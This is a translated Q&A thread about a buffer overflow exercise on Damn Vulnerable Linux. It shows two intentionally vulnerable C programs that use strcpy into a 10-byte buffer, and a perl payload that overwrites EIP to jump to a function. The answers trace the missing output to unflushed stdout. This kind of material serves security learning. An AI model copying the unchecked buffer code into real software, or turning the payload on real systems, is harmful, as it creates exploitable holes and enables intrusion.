缓冲区溢出奇怪的行为

时间:2013-08-29 01:55:20

标签: c buffer-overflow exploit

我已经安装了名为DVL的linux发行版(该死的易受攻击的linux),我正在使用缓冲区溢出攻击。 我写了两个几乎完全相同的程序,这些程序容易受到bof:

//bof_n.c
#include <stdio.h>
void bof() {
  printf("BOF");
}

void foo(char* argv) {
  char buf[10];
  strcpy(buf, argv);
  prinf("foo");
}

int main(int argc, char* argv[]) {
  if (argc >= 1) {
    foo(argv[1]);
  }
  return 0;
}

//bof.c
#include <stdio.h>
void bof() {
  printf("BOF!\n");//this is the only change
}

void foo(char* argv) {
  char buf[10];
  strcpy(buf, argv);
  prinf("foo");
}

int main(int argc, char* argv[]) {
  if (argc >= 1) {
    foo(argv[1]);
  }
  return 0;
}

之后我编译了它们,并在两种情况下都获得了bof()函数地址(例如,objdump -d bof.o | grep bof)。我们将这样一个地址ADDR命名为4字节。

我还发现,如果我在buf变量中写入32个字节,则EIP寄存器被完全覆盖(我无法复制gdb的输出,因为它在虚拟机上)。

现在,如果我这样做:

./bof `perl -e 'print "\x90"x28 . "ADDR"'`

我明白了:

fooBOF!
Segmentation fault

相反,如果我尝试使用相同的方法但使用bof_n,我只会收到“Segmentation fault”消息。 因此,我试图增加ADDR值重复的次数,我发现如果它重复至少350次,我得到想要的结果。但是我没有准确地输出上面的内容,而是依次得到一长串的“BOF”消息。我试图只获得一个“BOF”消息,但显然我不能这样做(我得到或零,或者很长的列表)。 为什么会这样?有什么想法吗?

我正在使用DVL和gcc 3.4.6

2 个答案:

答案 0 :(得分:1)

你的目标是什么?

您应该使用调试器,尝试GDB Debuggergdb。有了它,您可以看到系统中当前正在进行的内存/寄存器/堆栈和反汇编。

我猜在第一个函数中,字符串长度只有3个字符,优化为\x42\x4f\x46\x00,因此反汇编可能略有不同。

C源几乎无关紧要,你需要反汇编或fuzz两个二进制文件才能找到NOP个雪橇的合适大小。

答案 1 :(得分:0)

我找到了解决方案。问题是关于消息的打印而不是缓冲区溢出漏洞本身。 事实上,在bof_n示例中也正确地覆盖了寄存器eip,并且在bof()函数中正确地重定向了程序流。问题是,显然,在分段错误之前stdout没有刷新,因此没有显示任何消息。

相反,使用fprintf(stderr, "BOF");,我终于得到了“BOF”消息。